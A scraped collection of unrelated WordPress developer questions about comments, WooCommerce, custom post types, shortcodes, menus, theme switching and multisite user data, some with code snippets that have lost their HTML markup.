Do I need to prepare strings against MySQL Injection when inserting into the database using a WordPress comments function such as this:               $data = array(         'comment_post_ID' => $post_id,         'comment_author' => $comment_author,         'comment_author_email' => $comment_email,         'comment_content' => $comment_body,         'comment_type' => '',         'comment_parent' => 0,         'user_id' => 1,         'comment_author_IP' => '127.0.0.1',         'comment_agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)',         'comment_date' => $time,         'comment_approved' => 1,     );          wp_insert_comment($data);      **Update:** From this page it seams as though it handles all of this, but doesn't strip HTML/PHP tags; is this in itself worth stripping on a purely security basis?


tmp file is not generated in wordpress

Could not create directory. /opt/lampp/htdocs/wordpress/wp- content/upgrade/responsive.tmp error is generated when new theme is being installed in wordpress .I use xampp as local host in ubantu 12.04 .


Adding Woocommerce to my own theme, how do I do it?

After searching and trying for days, I'm starting to get agitated.. I have a custom theme for Wordpress, wich seems to function OK. But after installing Woocommerce several widget don't work, such as the shopping cart and lightbox. I found out that it has something to do with my theme not being compatible with Woocommerce because when I change to a standard theme everything works as expected. On Woocommerce docs I saw I might have to add some hooks to my functions.php but I can't figure out where to add these hooks... Can anyone point me in the right direction?


multiple comment text areas

I need to create a user comment form with three text areas and then display them in comments. I don't know where to start - cannot find any plugin but would like to code it anyway. Any pointers much appreciated.


Display posts from an author using search parameters (not author template/query_posts)

Is there a way to retrieve a list of all the posts by an author using search (example: ?s&author=xxx)? I can't use query_posts or author template (don't ask why, take it as a condition). And it should be a public query (the filter in admin panel isn't good). If isn't available by default as a search parameter, do you know how to add it smoothly through functions.php (without flooding WP with db queries or requests that slow it down).


How to add description over forum list on bbpress root page

I have few forums added for bbpress and when displaing root page I have them listed. Now I want to add some description at the top to provide some intoruction to visitors. Does anyone know how to do it?


Resetting menu_order to 0 for posts in PHPmyAdmin?

Installed a plugin that allows the re-ordering of posts from any post type / category / tag using a drag/drop interface. After some time of using, my post order went haywire and new posts began to appear in a jumbled order. The plugin's native _reset_ button resolved this, but the old posts are still jumbled (only for two particular categories). Plugin author suggested updating **menu_order** to 0 only for the post type in question and I have a few questions:   1. I can't seem to find the appropriate field, which table would I look in?   2. Post types just cover posts, pages and all custom post types, right? If I'm only having this issue with a category, I still have to reset the menu_order of the entire parent post type?   3. I see the menu_order filter in the Codex, but I thought this was only for top level menu order, not the order of actual posts?


Comments Template shows, but not the comments

I've customized a twentytwelve theme, changed the index and content, nothing else. Now, I've lost the comments. Google says to call this first:               <?php comments_template(); ?>      But, everywhere I look, including a dump of variables, there's no comments. What have I missed? I know comments.php is being called. Here are more details: I'm not using themes, I have this in the index:               define('WP_USE_THEMES', false);      also in the index I have this:               <?php get_template_part( 'content', get_post_format() ); ?>      so the work is being done over in content.php, not single or page... Over in content.php I have this:               <?php comments_template(); ?>     ...
<?php             printf(                 _n( 'One Response to %2$s', '%1$s Responses to %2$s', get_comments_number(), 'twentytwelve' ),                 number_format_i18n( get_comments_number() ),                 '' . get_the_title() . ''              );         ?>
      That always prints 0. My loose understanding is that `comments_template()` loads comments.php, which it does. That seems to be little different than what single.php did. comments.php is stock, but there seems to me to be some initialization missing because although I get the form, it finds no comments. I was trying to simplify what I needed to do as the blog is simple but the look is complex and fiddly and needs a separate look for mobile which is in a mobile subdomain. I've gotten all this working, except the comments. URL for a post that has comments:


How to put a banner ad between post 1 and post 2 on homepage only

Wordpress **Swift Theme** is installed on my My site http://tech-ticks.info From last few days, I am trying to find a solution to put an ad banner on homepage only between post1 and post 2. I have already tried on worpress support forum. Can anyone here help me out as i don't have much knowledge about PHP. Your help will be highly appreciated.


Proper way to include stylesheet for panels

What is the proper way to include a stylesheet with my options panels in wp- admin for a given plugin or theme. In other words -- the stylesheet that styles the panels. I mean, in my panel template code, I'm doing something like...               <style type="text/css">     @import url("../wp-content/plugins/myplugin/panels/style.css");     </style>      ...but suspect that this won't work on some installs of WordPress because of paths and so on, and might not work in the future of WP gets a wild hair and wants to rename wp-content with something else.


Grabbing specific content

Right now I'm doing this (pseudo code)               posts = content_type("special_stuff");     $i = 0;     $n = 5;     $while(have_posts) {         if($i == $n) {             // print the content         }         ++$i;     }      This is what I'm doing to always get the `n`th item. I'm sure there is a better way, but I'm kind of a WP noob. Related:   1. (this question) How do I grab the nth element of a content type? eg. always getting the 1st or 5th most recent element from the db.   2. List item How do I do #1 based on content id?


Getting links to work the same on development and production

I am working on a website where I am specifying links to pages within my site in other pages. I am using the same permalink post name structure i.e. http://example.com/sample-post on both development and production and I am using /index.php/sample-post/ to link to a specific blog. This works on production but not on development. My development machine's wordpress install is under a directory called wordpress and is running off a URL http://127.0.1.1:8080/wordpress/ On development for some reason when I specify /index.php/sample-post the wordpress part of the site url is absent. This only seems to happen with posts and not pages. As far as I know /index.php/ refers to the site url which should be http://127.0.1.1:8080/wordpress/ unless I am mistaken. Moreover I would like to know if there is any alternative way to specify absolute URLs in wordpress and get around this problem. Thanks in advance. nav


Author custom fields post meta, the code?

If I wanted to get a custom field of the current user I would use something like this. `<?php echo get_user_meta($user_info->ID,'address_line_2',true);?`> This time however I want the author so I tried multiple version of the following to no avail.               <?php      $thisauthorID = get_the_author_ID();          echo get_the_author_meta($thisauthorID,'address',true)             ;?>      Any ideas? Marvellous


Custom Post Types on Category Pages

I'm working with a custom post type that uses the normal WordPress categories.   I am able to modify my category template to display my custom post types exactly how I want them. The problem is, once I do this, normal blog posts are also affected. Of course I can limit either normal blog posts or the post type to just one category and create a category-ID.php to work with just that category. But I am wondering whether there is a more flexible solution?   Is it possible to make category templates that are specific for post types i.e. one to show posts, one to show custom post types, etc? is this possible at all? If not, what is the best way around this?


How to create a language selection homepage?

I have a projects that needs a homepage similar to this one. I know there are many multi-language plugins out there. Here's exactly what I need:                 if isHomepage and noLanguageSeleted          show selection page       else           show the actual page content in the sleeted language.          show all the links and menus in the selected language.      How and with the help of what plugin would you achieve this? Thanks!


Get all fields inlcuding "ACF" (Advanced Custom Fields) columns in wp_query

When retrieving posts with wp_query how do I make the loop contain the acf fields?                   $args = array( 'post_type' => $postTypes,                         'posts_per_page' => $numPosts,                         'offset' => $offset,                        'meta_query' => $filterArgs );          $loop = new WP_Query( $args );      $postTypes is an array I have filled in advance containing "post", "page" etc. whatever I need. The loop will contain only the "standard" WP columns like post_content and so on.


Display comments of users on single page

I don't know if i can explain this.. I want to create a Page where the comments of specific user is listed. like this format... ## User Name                      Post Tilte            - comment            - comment            - comment                      Post Tilte            - comment            - comment            - comment      well, im not looking exactly as that format, but I want something similar to that. I already have a page where all the posts by specific user is listed, now this time I want list of comments. Is that possible? Or is there any available plugin that can provide me that function? Any answers or recommendations will be appreciated. Thanks :)


add_post_meta displays in admin edit area

I use a simple way to add_post_meta() to wp_insert_post(). Everything's working fine, except my meta box doesn't appear in admin area. Is there a simple way to do that?               <?php      $condition = $_POST['condition']; // I am taking the field from my form and pass it to a variable     $pid = wp_insert_post($new_post); // $new_post is an array with my arguments     add_post_meta($pid, 'condition', $condition, true);     // Then i can display my meta box within post with echo get_post_meta( get_the_ID() , 'condition', true );


Home page loop with pagination problem

I used a loop to display posts from specific categories, then add the code for WP_Paginate plugin under that loop ... below my posts I see pagination links from 1 --> 5 , however when I press page 2 the page shows older posts but when I press page 3 or 4 or 5 it shows nothing at all ! just empty div . I tried another plugins and all show the same pagination numbers and behavior. here is the code I used               $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;             $args=array(             'post_type'=>'post',             'cat' => 3,4,7,             'posts_per_page' => 10,             'paged'=>$paged             );             $temp = $wp_query;             $wp_query= null;             $wp_query = new WP_Query($args);                  if ( $wp_query->have_posts() ) : while ( $wp_query->have_posts() ) : $wp_query->the_post();             ?>                   (CONTENT HERE)                 <?php endwhile; endif;  ?>          <?php }   ?>     <?php if(function_exists('wp_paginate')) { wp_paginate(); } ?>


Using $wpdb in a plugin, what sort of data does it return?

I have following code:               <?php     $q = intval($_GET['q']);          global $wpdb;               $myoption =  get_option( 'fixformdata_options' );     $myoptionValue = maybe_unserialize( $myoption );              $result2 = $wpdb->get_row     (         $wpdb->prepare         (             "SELECT * FROM {$myoptionValue['tablename']} WHERE personeelsNummer = %d", $q         )     );          if($result2) {       echo  json_encode( $result2 );     }          ?>      I get the following error:               SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data     var parsed = JSON.parse(response);      There seems to be something wrong with the returned data, but I don't know what... Help greatly appreciated!


How to add a nested shortcode into editor?

I want to create an accordion shortcode for wordpress and the html code should be like this:

sadegh

To delete a comment, just log in and view the post’s comments. There you will have the option to edit or delete them.

sadegh

To delete a comment, just log in and view the post’s comments. There you will have the option to edit or delete them.

sadegh

To delete a comment, just log in and view the post’s comments. There you will have the option to edit or delete them.

sadegh

To delete a comment, just log in and view the post’s comments. There you will have the option to edit or delete them.

sadegh

To delete a comment, just log in and view the post’s comments. There you will have the option to edit or delete them.

      For this I've created a nested shortcode with:               function Acot($params, $content= null){         return '
'.$content.'
';     }     add_shortcode('acot','Acot');     function Acotext($params, $content= null){         return'
'.$content.'
';      }      add_shortcode('acotext','Acotext');      function Aco($params, $content=null){     return'
'.do_shortcode($content).'
';      }      add_shortcode('aco','Aco');      function Acol($params, $content= null){     return'
'.do_shortcode($content).'
';       }      add_shortcode('acol','Acol');      I want to add the nested shortcode to editor with one button. Is it possible to do that, and if so, how do I achieve this?


How to optimize on-the-fly theme switching for mobile browsers?

I'm using `switch_theme()` to switch between default and mobile themes for my visitors in real time. Here's my code :               // Get the user agent     $user_agent = $_SERVER['HTTP_USER_AGENT'];          // Preg match for mobile browsers (courtesy : detectmobilebrowsers.com)     $preg_match = preg_match( '/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i',$user_agent) || preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i', substr( $user_agent, 0, 4 ) );          // If user is on a mobile browser     if( $preg_match ) {              // Switch theme         switch_theme( 'theme_mobile' );          }           // Else show default theme     else {              // Switch theme         switch_theme( 'theme_default' );          }      The problem is that sometimes the switching doesn't work, for example I'm on a desktop browser but it still switches so mobile. I suspect it has something to do with heavy traffic load on the website (approx. 100 visitors online at any moment). Is there a way to optimize that ?


How can I make this custom menu work?

Can someone share with me the easiest way to convert this to work with wordpress’s 3.0 built in menu support. So far I have the topnav menu working correctly, but I’m having a hard time getting the subnav to show. How would you make this code work with a default install of wordpress? I assumed that after adding `<?php wp_nav_menu( array( 'sort_column' => 'menu_order', 'depth' => 0,'menu_class' => 'topnav', 'theme_location' => 'primary-menu' ) ); ?>` and changing subnav to sub-menu in the js and css. That everything would work. What am I doing wrong? I’m using jquery 1.6.1 This is the original code from a static html page. JS               $(document).ready(function(){                $("ul.subnav").parent().append(""); //Only shows drop down trigger when js is enabled (Adds empty span tag after ul.subnav*)                $("ul.topnav li span").click(function() { //When trigger is clicked...                    //Following events are applied to the subnav itself (moving subnav up and down)               $(this).parent().find("ul.subnav").slideDown('fast').show(); //Drop down the subnav on click                    $(this).parent().hover(function() {               }, function(){                   $(this).parent().find("ul.subnav").slideUp('slow'); //When the mouse hovers out of the subnav, move it back up               });                    //Following events are applied to the trigger (Hover events for the trigger)               }).hover(function() {                   $(this).addClass("subhover"); //On hover over, add class "subhover"               }, function(){  //On Hover Out                   $(this).removeClass("subhover"); //On hover out, remove class "subhover"           });            });        CSS               ul.topnav {         list-style: none;         padding: 0px 0px;         margin: -12px -11px 0;         float: left;         width: 922px;         background: #222;         font-size: 1.2em;         background: url(../images/topnav_bg.gif) repeat-x;            }       ul.topnav li {           float: left;           margin: 0;           padding: 0 15px 0px 5px;           position: relative; /*--Declare X and Y axis base for sub navigation--*/       }       ul.topnav li a{           padding: 10px 0px 5px 10px;           color: #fff;           display: block;           text-decoration: none;           float: left;       }       ul.topnav li a:hover{           background: url(../images/topnav_hover.gif) no-repeat center top;       }       ul.topnav li span { /*--Drop down trigger styles--*/           width: 17px;           height: 35px;           float: left;           background: url(../images/subnav_btn1.gif) no-repeat center top;       }       ul.topnav li span.subhover {background-position: center bottombottom; cursor: pointer;} /*--Hover effect for trigger--*/       ul.topnav li ul.subnav {           list-style: none;           position: absolute; /*--Important - Keeps subnav from affecting main navigation flow--*/           left: 0; top: 35px;           background: #333;           margin: 0; padding: 0;           display: none;           float: left;           width: 195px;           border: 1px solid #111;          z-index:500;      }       ul.topnav li ul.subnav li{           margin: 0; padding: 0;           border-top: 1px solid #252525; /*--Create bevel effect--*/           border-bottom: 1px solid #444; /*--Create bevel effect--*/           clear: both;           width: 195px;       }       html ul.topnav li ul.subnav li a {           float: left;           width: 170px;           background: #333 url(../images/dropdown_linkbg.gif) no-repeat 10px center;           padding-left: 25px;           font-size: 13px;          }       html ul.topnav li ul.subnav li a:hover { /*--Hover effect for subnav links--*/           background: #222 url(../images/dropdown_linkbg.gif) no-repeat 10px center;       }


How to rewrite WordPress uploads folder to another folder using htaccess

I found that the following code online could be used to spoof the WordPress uploads folder, rewriting URLs to a different folder on the server:               # BEGIN Spoof wp-content/uploads directory     RedirectMatch 301 ^/uploads/(.*)$ https?://yoursite.com/wp-content/uploads/$1     # END Spoof wp-content/uploads directory      It is my understanding that under Media settings page the 'Full Path to files' needs to point to desired spoof folder. I have tried using the above code but WordPress throws a error 404. My uploads are set to be organized by year and month. The file was that uploaded and tested indeed exists on the server. Here is an example of the structure setup: Real folder path -> http://yoursite.com/wp-content/uploads/2011/09/icon.jpg Spoofed folder path -> http://yoursite.com/uploads/2011/09/icon.jpg My question: Is there anything wrong with the rewrite code that could lead to the error 404 issue?


Scrolling Ads? Live scrolling widget, not random on refresh

I have a current job where my client has requested to have their "sponsors" rotate in the sidebar widget. Right now I have a random ad widget which rotates them randomly... I was wanting to know if there is a plugin or a way to make a number of image ads slide, or rotate live when you are on the page not via refresh and random. Thanks in advance!


Possible to search by author name with default WordPress search function?

I realize improving WordPress's search function is a huge can of worms, but the ONLY additional thing I need it to do is to show results when I search for an author's name. For example, if we have an author named Katie Johnson, and I search for Katie, I get results where her name is listed in the CONTENT, but not results that she POSTED. This seems like a simple problem, and yet I haven't yet found a solution to it. Thanks.


Theme name passed into some of the functions?

I use a theme called **vigilance** I am starting to build my own themes and I notice in this them a lot of functions will have the theme name vigilance passed into the functions like this one below...               <?php _e( 'This post is password protected. Enter the password to view comments.', 'vigilance' ); ?>      Notice the theme name is passed as the second parameter, I am trying to figure out why? I have not found anything supporting this in the docs yet?


Is This The Most Efficient Way To Add Javascript Files?

I am currently rewriting an HTML template into a Wordpress theme. It has a lot of code dependencies, and I'm wondering if this is the proper, most efficient way to add it. This code is listed in my functions.php file.               //Load Javascript     if (!is_admin()) add_action("wp_enqueue_scripts", "my_scripts");          function my_scripts() {         wp_register_script('easytabs', get_template_directory_uri() . '/js/jquery.easytabs.min.js', array('jquery'), null, true);         wp_register_script('respond', get_template_directory_uri() . '/js/respond.min.js', false, null, true);         wp_register_script('adipoli', get_template_directory_uri() . '/js/jquery.adipoli.min.js', array('jquery'), null, true);         wp_register_script('fancybox', get_template_directory_uri() . '/js/jquery.fancybox-1.3.4.pack.js', array('jquery'), null, true);         wp_register_script('isotope', get_template_directory_uri() . '/js/jquery.isotope.min.js', array('jquery'), null, true);         wp_register_script('gmaps_google', "http" . ($_SERVER['SERVER_PORT'] == 443 ? "s" : "") . "://maps.google.com/maps/api/js?sensor=false", false, null, true);         wp_register_script('gmap', get_template_directory_uri() . '/js/jquery.gmap.min.js', array('gmaps_google'), null, true);         wp_register_script('custom', get_template_directory_uri() . '/js/custom.js', array('gmap'), null, true);              wp_enqueue_script('jquery');         wp_enqueue_script('easytabs');         wp_enqueue_script('respond');         wp_enqueue_script('adipoli');         wp_enqueue_script('fancybox');         wp_enqueue_script('isotope');         wp_enqueue_script('gmaps_google');         wp_enqueue_script('gmap');         wp_enqueue_script('custom');     }


Remove users access to dashboard

As far I know, the widgets in the dashboard can be removed, but I want to ask if its possible to remove the access to dashboard completely and allow access to only post-new.php page? Thanks.


How to run a function on plugin's options page?

I am writing a plugin that syncs data from a third party service to custom post types in wordpress via HTTP/SOAP. There will be the option to run it on an interval (using wP_cron functions) but I also want to include a 'Sync' button to be able to manually pull in or update data without having to wait for the next time the cron runs. I have an options page for the plugin page setup using Wordpress's Settings API, which works nicely. ### Ideally, this is what I would like to happen:   1. When the 'Sync Now' button is clicked, a php function from the main plugin's php file is run (connecting to the third-party service and syncing data)   2. After this function is run, it returns information about what was synced   3. This information is displayed in an alert box or a panel of some sort to let the user know about what was synced and if anything went wrong. For some reason, I cannot wrap my head around how this should work. ### Here are some things I have tried:   * The sync function itself works. I have added a temporary checkbox called "Sync Now" to the settings form and called the update function as the callback when registering that particular setting (`register_setting()`), but it will run this function regardless of the value of the checkbox. `register_setting( 'my_plugin_settings', 'sync_now_option', 'syncNowFunction');`   * When I have a separate form than the one generated by the Settings API on the page that only has a button which calls GET to another php file (not the main plugin php file), I get a 500 error. The 500 error seems to be thrown if there is any type of error at all. (Can't find an include file, function not found.) I cannot use anything besides vanilla php or it throws the 500 error. I have attempted call the file several different way all with the same results:     * Visiting it at the URL in the browser     * Having the form's action point to that URL `<form method="GET" action="http://url.com/wp-content/plugins/my- plugin/sync.php"> <input type="submit" value="Sync Now" />` `     * Using jQuery's `.load()` and .`ajax()` It seems odd that it throws a 500 error no matter what the issue seems to be.   * I have also tried to use Ajax to load a a function from the main plugin file directly to no avail. I don't really mind if the page is reloaded, but I do not want the user to be redirected to another page afterwards. How might I accomplish this?


Does "show_option_all" in wp_list_categories do anything?

So I have this code:               <?php wp_list_categories(array(                 'show_option_all'       => 'All Categories',                 'orderby'            => 'ID',                 'order'                 => 'DESC',                 'use_desc_for_title' => 0,                 'child_of'           => 0,                 'exclude'            => '',                 'exclude_tree'       => '',                  'include'            => '',                 'hierarchical'       => 1,                 'title_li'           => NULL,                 'show_option_none'   => NULL,                 'number'             => NULL,                 'taxonomy'           => 'category' ));?>      And the first item, `show_option_all`, produces the following link:
All Categories
      That is, it is calling `index.php` or `home.php` when what I would like is for it to call the `category.php` template, where I would expect it to produce a link like this:
All Categories
      Or something. Am I missing something?


Directing a page to a default subpage

I would like to introduce page-hierarchy navigation in my WordPress blog using subpages. So each page may have sub-pages, but I'd like that when a visitor clicks on a page header he will be redirected to a specific subpage. For example, say my hierarchy is:               1. Movies     1.1 General     1.2 Westerns     1.3 Animated     2. Music     2.1 General     2.2 Classic     2.3 Country      What I want is that when someone clicks on "Movies" he will reach "Movies/General". Can this be achieved using plugins alone? If not, what's required?


Set Image width='x%' (percentage width not pixel width) when inserted via the media manager?

When uploading images via the media manager there are a couple of set sizes available such as thumb, medium and large. I do know how to add additional sizes, but I have yet to get it to insert an image with width='x%'. the concept is that i am building an adaptive theme and I never want the inserted image to be larger than the container even upon browser resize, By manually editing the inserted image code to include widths with a %, then it works just fine. However trying to get my users to remember this is downright impossible. What I would like would be a button to insert an image into a post with a set % (percentage) instead of a set pixel width. possible?


Test if php document executed by Wordpress or directly

Active plugin PHP files are interpreted automatically when you view a page, post, admin page, etc. I could also run a plugin PHP directly if I knew the fully qualified URL, however it will most likely throw errors as non of the Wordpress functions will have been included. How would I test if a plugins PHP page has been executed through Wordpress? Is there a global variable that is safe to rely on?


Setting or plugin for showing submenus horizontally under the main menu, and keep them after selection

My blog's page hierarchy is as follows:               - Home     - About     - Movies     - - General     - - All Movies      - - Rules      Right now, I have a horizontal menu showing `Home | About | Movies`, and if I hover Movies I get:               Home | About | >Movies<          |       |  General          |       |  All Movies          |       |  Rules      When I choose, for example, `General`, the menu returns to `Home | About | Movies`. What I'd like is for the drop down to be horizontal as follows:               Home | About | >Movies<     General | All Movies | Rules      And that if I select one of the submenu pages, the submenu will stay there with a selection marked. So for example, if I click on `All Movies`, the menu will appear as follows (The "<" signs are for illustrating the selection, not to be used literally):               Home | About | >Movies<     General | >All Movies< | Rules      Is there a setting or a plugin that can help me achieve that? For reference, my site is at http://roee.co


Multiple fields with add_settings_field callback

I have a settings page where I am creating a UI that changes column widths for a layout template. To customize this on my settings page I am using `do_settings_fields` for output and `add_settings_field` with a callback function that has multiple fields. My question is this: Is it wrong to use a single callback for multiple settings fields? Everything is working just fine, and this solution is the easiest way for me to achieve what I need.


Adding different classes to different images depending on size for fine control of image layout in posts

I have all the CSS classes set to display images in a custom portfolio theme. I am allowing for images of different sizes and proportions (landscape, portrait, etc) to be tiled next to each other and to be responsive (like the images here: http://studionudge.com/). My problem is getting the images attached to posts (a custom portfolio post type) to display properly in these custom classes. I don't know how to get that level of control over images, basically. I am looking to make something like is seen here: http://www.northbounddesign.com/creativity-fluid/ If you look at the source, the images are all part of the post, and are all styled within columnar divs to look nice and to be responsive, and the containing div depends on the size of the image (so differently sized images would need different classes). I am wondering how to do this. Do you think the images were simply added into the WYSIWYG editor and then formatted using the HTML editor there? Is there a more user-friendly or perhaps automated way to do this? (I envision separate fields to specifically upload images of a certain size to, or something of that nature.) To ask this question in another way: I have text content controlled through meta boxes to give myself more fine control over layout, but I don't know how to do this with images in Wordpress. Any advice to point me in the right direction would be helpful. I have looked into styling the existing Wordpress gallery, but that doesn't give me enough control over individual images, and doesn't, I think, solve the problem of needing some images to be in a different class than others. I have looked into meta boxes, but meta boxes seem better suited to controlling text content (is there a metabox to just upload one image? I could work with that, I think.) I have looked into plugins, but most are gallery plugins that display image thumbnails of uniform size.


Post's ID pattern?

Each post has an ID and I would like to know how they were assigned. Is there a pattern? Why are the ID's not being incremented by 1 every posts? It would be easier..My ID's go from 9867, to 9869, to 9864, etc.. I can't seem to find a pattern. I could use "The Loop", but I'm doing that from another site. I want to include the last 30 posts of my wordpress site, so I need to find a pattern in the url to get the last 30 posts.


Hook before inserting user into database

I'm working on airsoft website using woocommerce. One of my client's needs is to prevent a user to register if his name or mail is in a blacklist (I don't know yet if I'll use a csv file, a json or a simple array). So I have to execute some validations before insert the user to the database. But I didn't succeed in finding the good hook.


comments_number display outside specified span

I want to display the number of comments a particular post has, so i thought i'd use comments_number, however when i use this the comment number gets printed outside of the span it's supposed to be contained within. I tried using get_comments_number too, but that instead displays nothing at all. The code below has been added to my functions.php amongst other code, but i just cannot get the comment number to display inside the span - it just prints at the top of the page.               $content .= '
'.$date.''. comments_number() .'
';


Custom post type archive page for multiple post types

Hi I am working on a archive page which I can use for multiple custom post types. I need to make a variable in the `$args` array which can change to the `post_type` name on the basis of `<?php post_type_archive_title(); ?>` So something like this:               <?php          $post_type = post_type_archive_title();          $args = array(         'post_type' => $post_type,         'orderby' => 'title',         'order' => 'ASC',         'caller_get_posts' => 1,         'posts_per_page' => 20,     );          query_posts($args); ?>      But this doesn't work. Does anyone know how I can fix this?


how to define category loop last class in the third

![enter image description here](http://i.stack.imgur.com/Y8jwi.jpg) on my page category.php file i'm using product listing, product block loop is , product-block , product-block , product-block last last class no margin-left, how to define third product "last class" in the category loop? my content.php

<?php the_excerpt(); ?>                     <a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail($id,  array(220,220)); ?>

                    <a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?>

                         Buy                        $45.00

      i must define third div good_list catalog_goods last my category.php file

                       <?php if ( have_posts() ) : ?>                                <?php twentyeleven_content_nav( 'nav-above' ); ?>                      <?php /* Start the Loop */ ?>                      <?php while ( have_posts() ) : the_post(); ?>                 <?php                         /* Include the Post-Format-specific template for the content.                          * If you want to overload this in a child theme then include a file                          * called content-___.php (where ___ is the Post Format name) and that will be used instead.                          */                         get_template_part( 'content', get_post_format() );                     ?>                      <?php endwhile; ?>


Show buddypress notification in the frontend

I've a buddypress website and what I want is to show in the frontend the notification that buddybar have in the backend, but only the notification not all the buddybar. basically set the notification like facebook.... how can I do that?


Plugin - including external javascript calling google maps

I have developed a javascript plugin retrieving data for my website (no wordpress here). The user can simply add it to its website with a div (the container of the plugin) and a script tag (the plugin). This plugin displays a google map with some fancy information. As wordpress does not allow the user to add its own js, I try to write a wordpress plugin bypassing this with the wp_register/wp_enqueue functions. My javascript is loaded (so is the google maps api) however the google map is not displayed (the google api is called from my plugin and not from the wp queue scripts). Any idea/suggestion ? EDIT: Here is the code of the wp plugin + what is used in the posts to display the widget (can't show the plugin as it is hundreds of lines long, I can only say that it's working on a classical server) :               define ( 'EVP_IDS_PATTERN',  '/\[EVP_WIDGET:\{ID:"(\w+)"\},\{TYPE:"(\w+)"\}\]/i' );          functon insert_evp_widget ( $text ) {         if ( is_single ( ) || is_page ( ) ) {          $ids = [];         // The page contains an evp collection ID         if ( preg_match ( EVP_IDS_PATTERN, $text, $ids ) ) {                  // We add the script to the page (css is direclty loaded from the widget)                 wp_register_script ( 'evp_widget', 'http://widget.evp.com/javascripts/app.js' );                 wp_enqueue_script ( 'evp_widget' );                     // We add the widget container in the page                $widget = '

';                $text .= $widget;                     // Remove the wordpress widget tag from the article.                $text = preg_replace ( EVP_IDS_PATTERN, '', $text );                     return $text;            }         }     }          add_filter ( 'the_content', 'insert_evp_widget' );      Post data used to display the widget :               [EVP_WIDGET:{ID:"Xm9sAzEzMDY"},{type:"album"}]      The widget is supposed to be able to display two kinds of widget : an album and a map version. The album version works (with a API call using json-p), however, the map version does not work (API call using json-p + google maps call). The google scripts are in the page.


Custom post type menu button color

If I create a Custom Post Type I can change the icon used in the dashboard with this                   'menu_icon' => [YOUR FILE PATH HERE] . '/images/portfolio-icon.png',  // Icon Path      Is it possible to change the color of the button in the dashboard.


Solving a get_user_meta() problem in Multisite

I am currently building a network of blogs for individual real estate agents. Currently, a broker will have a main site, with agents sites added as subdirectories, e.g., www.example.com and www.example.com/agent. Each agent's `front-page.php` template has an area which displays the agents contact info. I am currently using `get_user_meta()` in my theme template to access user information from the user profile, but I have quickly realized that when I access that data, there is no relative way to access the user of a specific subdiretory's information. When I use this code:               echo get_user_meta(2, 'display_name', true);      in the theme template, it defaults on every install of that theme across the network to the `user_id=2`s information. Logically I understand why. But how can I get Joe's info to show up on www.example.com/joe and Chris's info to show up on www.example.com/chris? I am looking for a solution that can be defined within the admin somehow, so scaling this theme is as simple as possible. EDIT: I guess now that I think about it, a possible solution would be to create a theme options page using `get_option` to call entered information. I was just hoping there was an easier way retrieving user information since some of it is already created during user creation. If you think you have a good solution to this problem, I think it would be worth writing about. I have not been able to find any info regarding user_meta and multisite in this way.


Prevent users in the backend from seeing WP/Plugin notifications and update annoucements?

Currently when logged into the backend, sometimes when a plugin has an update or Wordpress has an update a notification message appears at the top either telling the user to upgrade or if a plugin needs attention like if a setting still needs to be configured or something. Is there a way to prevent the user for seeing this notification? A function or something? On a side note, right now I am using: http://wordpress.org/extend/plugins/advanced-access-manager/ Thank you in advance!


How to do get_users() with multiple meta_keys

